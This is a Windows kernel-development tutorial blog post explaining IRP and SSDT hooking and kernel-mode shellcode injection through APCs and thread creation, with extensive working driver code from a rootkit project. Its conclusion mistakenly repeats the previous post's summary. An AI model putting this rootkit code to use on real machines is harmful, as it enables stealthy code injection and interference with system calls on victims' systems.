Lord Of The Ring0 - Part 5 | Saruman's Manipulation

idov31.github.io/2023/07/19/lord-of-the-ring0-p5.html

July 19, 2023

STAR FORK FOLLOW

Prologue

In the last blog post, we learned about the different types of kernel callbacks and created our registry protector driver.

In this blog post, I'll explain two common hooking methods (IRP Hooking and SSDT Hooking) and two different injection techniques from the kernel to the user mode for both shellcode and DLL (APC and CreateThread) with code snippets and examples from Nidhogg.

IRP Hooking

Side note: This topic (and more) was also covered in my talk "(Lady)Lord Of The Ring0" - feel free to check that out!

IRP Reminder

This is a quick reminder from the 2nd part, if you remember what IRP is you can skip to the next section.

"An I/O request packet (IRP) is the basic I/O manager structure used to communicate with drivers and to allow drivers to communicate with each other. A packet consists of two different parts:

- Header, or fixed part of the packet — This is used by the I/O manager to store information about the original request.
- I/O stack locations — Stack location contains the parameters, function codes, and context used by the corresponding driver to determine what it is supposed to be doing." - Microsoft Docs.

In simple words, IRP allows kernel developers to communicate either from user mode to kernel mode or from one kernel driver to another. Each time a certain IRP is sent, the corresponding function in the dispatch table is executed. The dispatch table (or MajorFunction) is a member inside the DRIVER_OBJECT that contains the mapping between the IRP and the function that should handle the IRP. The general signature for a function that handles IRP is:

```
NTSTATUS IrpHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp);
```

To handle an IRP, the developer needs to add their function to the MajorFunction table as follows:

```
DriverObject->MajorFunction[IRP_CODE] = IrpHandler;
```

Several notable IRPs (some of them we used previously in this series) are:

- `IRP_MJ_DEVICE_CONTROL` - Used to handle communication with the driver.
- `IRP_MJ_CREATE` - Used to handle `Zw/NtOpenFile` calls to the driver.
- `IRP_MJ_CLOSE` - Used to handle (among other things) `Zw/NtClose` calls to the driver.
- `IRP_MJ_READ` - Used to handle `Zw/NtReadFile` calls to the driver.
- `IRP_MJ_WRITE` - Used to handle `Zw/NtWriteFile` calls to the driver.

Implementing IRP Hooking

IRP hooking is very similar to IAT hooking in a way, as both of them are about replacing a function in a table and deciding whether to call the original function or not (usually, the original function will be called).

In IRP hooking the malicious driver replaces an IRP handler of another driver with their handler. A common example is to hook the `IRP_MJ_CREATE` handler of the NTFS driver to prevent file opening.

As an example, I will show the NTFS IRP_MJ_CREATE hook from Nidhogg:

```
NTSTATUS InstallNtfsHook(int irpMjFunction) {
    UNICODE_STRING ntfsName;
    PDRIVER_OBJECT ntfsDriverObject;
    NTSTATUS status = STATUS_SUCCESS;

    RtlInitUnicodeString(&ntfsName, L"\\FileSystem\\NTFS");
    status = ObReferenceObjectByName(&ntfsName, OBJ_CASE_INSENSITIVE, NULL, 0,
*IoDriverObjectType, KernelMode, NULL, (PVOID*)&ntfsDriverObject);

    if (!NT_SUCCESS(status)) {
        KdPrint((DRIVER_PREFIX "Failed to get ntfs driver object, (0x%08X).\n",
status));
        return status;
    }

    switch (irpMjFunction) {
        case IRP_MJ_CREATE: {
            // Saving the original IRP handler into a callback array.
            Callbacks[0].Address =
(PVOID)InterlockedExchange64((LONG64*)&ntfsDriverObject-
>MajorFunction[IRP_MJ_CREATE], (LONG64)HookedNtfsIrpCreate);
            Callbacks[0].Activated = true;
            KdPrint((DRIVER_PREFIX "Switched addresses\n"));
            break;
        }
        default:
            status = STATUS_NOT_SUPPORTED;
    }

    ObDereferenceObject(ntfsDriverObject);
    return status;
}
```

The first thing that is needed to be done when doing an IRP hooking is to obtain the DriverObject because it stores the MajorFunction table (as mentioned before), this can be done with the `ObReferenceObjectByName` and the symbolic link to NTFS.

When the DriverObject is achieved, it is just a matter of overwriting the original value of `IRP_MJ_CREATE` with `InterlockedExchange64` (**NOTE: `InterlockedExchange64` was used and not simply overwriting to make sure the function is not currently in used to prevent potential BSOD and other problems**).

Hooking IRPs in 2023

Although this is a nice method, there is one major problem that holding kernel developers from using this method - Kernel Patch Protection (PatchGuard). As you can see here when PatchGuard detects that the IRP function is changed, it triggers a BSOD with `CRITICAL_STRUCTURE_CORRUPTION` error code.

While bypassing this is possible with projects like this one it is beyond the scope of this series.

SSDT Hooking

What is SSDT

SSDT (System Service Descriptor Table) is an array that contains the mapping between the syscall and the corresponding function in the kernel. The SSDT is accessible via `nt!KiServiceTable` in WinDBG or can be located dynamically via pattern searching.

The syscall number is the index to the relative offset of the function and is calculated as follows: `functionAddress = KiServiceTable + (KiServiceTable[syscallIndex] >> 4)`.

Implementing SSDT Hooking

SSDT hooking is when a malicious program changes the mapping of a certain syscall to point to its function. For example, an attacker can modify the NtCreateFile address in the SSDT to point to their own malicious NtCreateFile. To do that, several steps need to be made:

- Find the address of SSDT.
- Find the address of the wanted function in the SSDT by its syscall.
- Change the entry in the SSDT to point to the malicious function.

To find the address of SSDT by pattern I will use the code below (the code has been modified a bit for readability, you can view the unmodified version here):

```
NTSTATUS GetSSDTAddress() {
    ULONG infoSize;
    PVOID ssdtRelativeLocation = NULL;
    PVOID ntoskrnlBase = NULL;
    PRTL_PROCESS_MODULES info = NULL;
    NTSTATUS status = STATUS_SUCCESS;
    UCHAR pattern[] = "\x4c\x8d\x15\xcc\xcc\xcc\xcc\x4c\x8d\x1d\xcc\xcc\xcc\xcc\xf7";

    // Getting ntoskrnl base.
    status = ZwQuerySystemInformation(SystemModuleInformation, NULL, 0, &infoSize);

    // ...

    PRTL_PROCESS_MODULE_INFORMATION modules = info->Modules;

    for (ULONG i = 0; i < info->NumberOfModules; i++) {
        if (NtCreateFile >= modules[i].ImageBase && NtCreateFile < (PVOID)
((PUCHAR)modules[i].ImageBase + modules[i].ImageSize)) {
            ntoskrnlBase = modules[i].ImageBase;
            break;
        }
    }

    // ...

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)ntoskrnlBase;

    // Finding the SSDT address.
    status = STATUS_NOT_FOUND;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        goto CleanUp;

    PFULL_IMAGE_NT_HEADERS ntHeaders = (PFULL_IMAGE_NT_HEADERS)((PUCHAR)ntoskrnlBase
+ dosHeader->e_lfanew);

    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE)
        goto CleanUp;

    PIMAGE_SECTION_HEADER firstSection = (PIMAGE_SECTION_HEADER)(ntHeaders + 1);

    for (PIMAGE_SECTION_HEADER section = firstSection; section < firstSection +
ntHeaders->FileHeader.NumberOfSections; section++) {
        if (strcmp((const char*)section->Name, ".text") == 0) {
            ssdtRelativeLocation = FindPattern(pattern, 0xCC, sizeof(pattern) - 1,
(PUCHAR)ntoskrnlBase + section->VirtualAddress, section->Misc.VirtualSize, NULL,
NULL);

            if (ssdtRelativeLocation) {
                status = STATUS_SUCCESS;
                ssdt = (PSYSTEM_SERVICE_DESCRIPTOR_TABLE)
((PUCHAR)ssdtRelativeLocation + *(PULONG)((PUCHAR)ssdtRelativeLocation + 3) + 7);
                break;
```

```
            }
        }
    }

CleanUp:
    if (info)
        ExFreePoolWithTag(info, DRIVER_TAG);
    return status;
}
```

The code above is finding `ntoskrnl` base based on the location of `NtCreateFile`. After the base of `ntoskrnl` was achieved all is left to do is to find the pattern within the `.text` section of it. The pattern gives the relative location of the SSDT and with a simple calculation based on the relative offset the location of the SSDT is achieved.

To find a function, all there needs to be done is to find the syscall of the desired function (alternatively a hardcoded syscall can be used as well but it is bad practice for forward compatibility) and then access the right location in the SSDT (as mentioned here).

```
PVOID GetSSDTFunctionAddress(CHAR* functionName) {
    KAPC_STATE state;
    PEPROCESS CsrssProcess = NULL;
    PVOID functionAddress = NULL;
    PSYSTEM_PROCESS_INFO originalInfo = NULL;
    PSYSTEM_PROCESS_INFO info = NULL;
    ULONG infoSize = 0;
    ULONG index = 0;
    UCHAR syscall = 0;
    HANDLE csrssPid = 0;
    NTSTATUS status = ZwQuerySystemInformation(SystemProcessInformation, NULL, 0,
&infoSize);

    // ...

    // Iterating the processes information until our pid is found.
    while (info->NextEntryOffset) {
        if (info->ImageName.Buffer && info->ImageName.Length > 0) {
            if (_wcsicmp(info->ImageName.Buffer, L"csrss.exe") == 0) {
                csrssPid = info->UniqueProcessId;
                break;
            }
        }
        info = (PSYSTEM_PROCESS_INFO)((PUCHAR)info + info->NextEntryOffset);
    }

    if (csrssPid == 0)
        goto CleanUp;
    status = PsLookupProcessByProcessId(csrssPid, &CsrssProcess);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Attaching to the process's stack to be able to walk the PEB.
    KeStackAttachProcess(CsrssProcess, &state);
    PVOID ntdllBase = GetModuleBase(CsrssProcess,
L"C:\\Windows\\System32\\ntdll.dll");

    if (!ntdllBase) {
        KeUnstackDetachProcess(&state);
        goto CleanUp;
    }
    PVOID ntdllFunctionAddress = GetFunctionAddress(ntdllBase, functionName);

    if (!ntdllFunctionAddress) {
        KeUnstackDetachProcess(&state);
        goto CleanUp;
    }

    // Searching for the syscall.
    while (((PUCHAR)ntdllFunctionAddress)[index] != RETURN_OPCODE) {
        if (((PUCHAR)ntdllFunctionAddress)[index] == MOV_EAX_OPCODE) {
```

```
            syscall = ((PUCHAR)ntdllFunctionAddress)[index + 1];
        }
        index++;
    }
    KeUnstackDetachProcess(&state);

    if (syscall != 0)
        functionAddress = (PUCHAR)ssdt->ServiceTableBase + (((PLONG)ssdt-
>ServiceTableBase)[syscall] >> 4);

CleanUp:
    if (CsrssProcess)
        ObDereferenceObject(CsrssProcess);

    if (originalInfo) {
        ExFreePoolWithTag(originalInfo, DRIVER_TAG);
        originalInfo = NULL;
    }

    return functionAddress;
}
```

The code above is finding `csrss` (a process that will always run and has `ntdll`) loaded and finding the location of the function inside `ntdll`. After it finds the location of the function inside `ntdll`, it searches for the last `mov eax, [variable]` pattern to make sure it finds the syscall number. When the syscall number is known, all there is needs to be done is to find the function address with the SSDT.

Hooking The SSDT in 2023

This method was abused heavily by rootkit developers and Antimalware developers alike in the golden area of rootkits. The reason this method is no longer used is because PatchGuard monitors SSDT changes and crashes the machine if a modification is detected.

While this method cannot be used in modern systems without tampering with PatchGuard, throughout the years developers found other ways to hook syscalls as substitution.

APC Injection

Explaining how APCs work is beyond the scope of this series, which is why I recommend reading Repnz's series about APCs.

To inject a shellcode into a user mode process with an APC several conditions need to be met:

- The thread should be alertable.
- The shellcode should be accessible from the user mode.

```
NTSTATUS InjectShellcodeAPC(ShellcodeInformation* ShellcodeInfo) {
    OBJECT_ATTRIBUTES objAttr{};
    CLIENT_ID cid{};
    HANDLE hProcess = NULL;
    PEPROCESS TargetProcess = NULL;
    PETHREAD TargetThread = NULL;
    PKAPC ShellcodeApc = NULL;
    PKAPC PrepareApc = NULL;
    PVOID shellcodeAddress = NULL;
    NTSTATUS status = STATUS_SUCCESS;
    SIZE_T shellcodeSize = ShellcodeInfo->ShellcodeSize;

    HANDLE pid = UlongToHandle(ShellcodeInfo->Pid);
    status = PsLookupProcessByProcessId(pid, &TargetProcess);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Find APC suitable thread.
    status = FindAlertableThread(pid, &TargetThread);

    if (!NT_SUCCESS(status) || !TargetThread) {
        if (NT_SUCCESS(status))
            status = STATUS_NOT_FOUND;
        goto CleanUp;
    }

    // Allocate and write the shellcode.
    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    cid.UniqueProcess = pid;
    cid.UniqueThread = NULL;

    status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    status = ZwAllocateVirtualMemory(hProcess, &shellcodeAddress, 0, &shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);

    if (!NT_SUCCESS(status))
        goto CleanUp;
    shellcodeSize = ShellcodeInfo->ShellcodeSize;

    status = KeWriteProcessMemory(ShellcodeInfo->Shellcode, TargetProcess,
shellcodeAddress, shellcodeSize, UserMode);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Create and execute the APCs.
    ShellcodeApc = (PKAPC)ExAllocatePoolWithTag(NonPagedPool, sizeof(KAPC),
```

```
DRIVER_TAG);
    PrepareApc = (PKAPC)ExAllocatePoolWithTag(NonPagedPool, sizeof(KAPC),
DRIVER_TAG);

    if (!ShellcodeApc || !PrepareApc) {
        status = STATUS_UNSUCCESSFUL;
        goto CleanUp;
    }

    // VOID PrepareApcCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID*
NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2) {
    // UNREFERENCED_PARAMETER(NormalRoutine);
    // UNREFERENCED_PARAMETER(NormalContext);
    // UNREFERENCED_PARAMETER(SystemArgument1);
    // UNREFERENCED_PARAMETER(SystemArgument2);

    // KeTestAlertThread(UserMode);
    // ExFreePoolWithTag(Apc, DRIVER_TAG);
    // }
    KeInitializeApc(PrepareApc, TargetThread, OriginalApcEnvironment,
(PKKERNEL_ROUTINE)PrepareApcCallback, NULL, NULL, KernelMode, NULL);

    // VOID ApcInjectionCallback(PKAPC Apc, PKNORMAL_ROUTINE* NormalRoutine, PVOID*
NormalContext, PVOID* SystemArgument1, PVOID* SystemArgument2) {
    // UNREFERENCED_PARAMETER(SystemArgument1);
    // UNREFERENCED_PARAMETER(SystemArgument2);
    // UNREFERENCED_PARAMETER(NormalContext);

    // if (PsIsThreadTerminating(PsGetCurrentThread()))
    //     *NormalRoutine = NULL;

    // ExFreePoolWithTag(Apc, DRIVER_TAG);
    // }
    KeInitializeApc(ShellcodeApc, TargetThread, OriginalApcEnvironment,
(PKKERNEL_ROUTINE)ApcInjectionCallback, NULL, (PKNORMAL_ROUTINE)shellcodeAddress,
UserMode, ShellcodeInfo->Parameter1);

    if (!KeInsertQueueApc(ShellcodeApc, ShellcodeInfo->Parameter2, ShellcodeInfo-
>Parameter3, FALSE)) {
        status = STATUS_UNSUCCESSFUL;
        goto CleanUp;
    }

    if (!KeInsertQueueApc(PrepareApc, NULL, NULL, FALSE)) {
        status = STATUS_UNSUCCESSFUL;
        goto CleanUp;
    }

    if (PsIsThreadTerminating(TargetThread))
        status = STATUS_THREAD_IS_TERMINATING;

CleanUp:
```

```
    if (!NT_SUCCESS(status)) {
        if (shellcodeAddress)
            ZwFreeVirtualMemory(hProcess, &shellcodeAddress, &shellcodeSize,
MEM_DECOMMIT);
        if (PrepareApc)
            ExFreePoolWithTag(PrepareApc, DRIVER_TAG);
        if (ShellcodeApc)
            ExFreePoolWithTag(ShellcodeApc, DRIVER_TAG);
    }

    if (TargetProcess)
        ObDereferenceObject(TargetProcess);

    if (hProcess)
        ZwClose(hProcess);

    return status;
}
```

The code above opens a target process, search for a thread that can be alerted (can be done by examining the thread's MiscFlags Alertable bit and the thread's ThreadFlags's GUI bit, if a thread is alertable and isn't GUI related it is suitable).

If the thread is suitable, two APCs are initialized, one for alerting the thread and another one to clean up the memory and execute the shellcode.

After the APCs are initialized, they are queued - first, the APC that will clean up the memory and execute the shellcode and later the APC that is alerting the thread to execute the shellcode.

CreateThread Injection

Injecting a thread into a user mode process from the kernel is similar to injecting from a user mode with the main difference being that there are sufficient privileges to create another thread inside that process. That can be achieved easily by changing the calling thread's previous mode to `KernelMode` and restoring it once the thread has been created.

```
NTSTATUS InjectShellcodeThread(ShellcodeInformation* ShellcodeInfo) {
    OBJECT_ATTRIBUTES objAttr{};
    CLIENT_ID cid{};
    HANDLE hProcess = NULL;
    HANDLE hTargetThread = NULL;
    PEPROCESS TargetProcess = NULL;
    PVOID remoteAddress = NULL;
    SIZE_T shellcodeSize = ShellcodeInfo->ShellcodeSize;
    HANDLE pid = UlongToHandle(ShellcodeInfo->Pid);
    NTSTATUS status = PsLookupProcessByProcessId(pid, &TargetProcess);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    cid.UniqueProcess = pid;
    cid.UniqueThread = NULL;

    status = ZwOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objAttr, &cid);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    status = ZwAllocateVirtualMemory(hProcess, &remoteAddress, 0, &shellcodeSize,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ);

    if (!NT_SUCCESS(status))
        goto CleanUp;
    shellcodeSize = ShellcodeInfo->ShellcodeSize;

    status = KeWriteProcessMemory(ShellcodeInfo->Shellcode, TargetProcess,
remoteAddress, shellcodeSize, UserMode);

    if (!NT_SUCCESS(status))
        goto CleanUp;

    // Making sure that for the creation the thread has access to kernel addresses
and restoring the permissions right after.
    InitializeObjectAttributes(&objAttr, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
    PCHAR previousMode = (PCHAR)((PUCHAR)PsGetCurrentThread() +
THREAD_PREVIOUSMODE_OFFSET);
    CHAR tmpPreviousMode = *previousMode;
    *previousMode = KernelMode;
    status = NtCreateThreadEx(&hTargetThread, THREAD_ALL_ACCESS, &objAttr, hProcess,
(PTHREAD_START_ROUTINE)remoteAddress, NULL, 0, NULL, NULL, NULL, NULL);
    *previousMode = tmpPreviousMode;

CleanUp:
    if (hTargetThread)
        ZwClose(hTargetThread);

    if (!NT_SUCCESS(status) && remoteAddress)
```

```
        ZwFreeVirtualMemory(hProcess, &remoteAddress, &shellcodeSize, MEM_DECOMMIT);

    if (hProcess)
        ZwClose(hProcess);

    if (TargetProcess)
        ObDereferenceObject(TargetProcess);

    return status;
}
```

Unlike the APC injection, the steps here are simple: After the process has been opened and the shellcode was allocated and written to the target process, changing the current thread's mode to `KernelMode` and calling `NtCreateThreadEx` to create a thread inside the target process and restoring it to the original previous mode right after.

Conclusion

In this blog, we learned about the different types of kernel callbacks and created our registry protector driver.

In the next blog, we will learn how to patch user mode memory from the kernel and write a simple driver that can perform AMSI bypass to demonstrate, how to hide ports and how to dump credentials from the kernel.

I hope that you enjoyed the blog and I'm available on Twitter, Telegram and by Mail to hear what you think about it! This blog series is following my learning curve of kernel mode development and if you like this blog post you can check out Nidhogg on GitHub.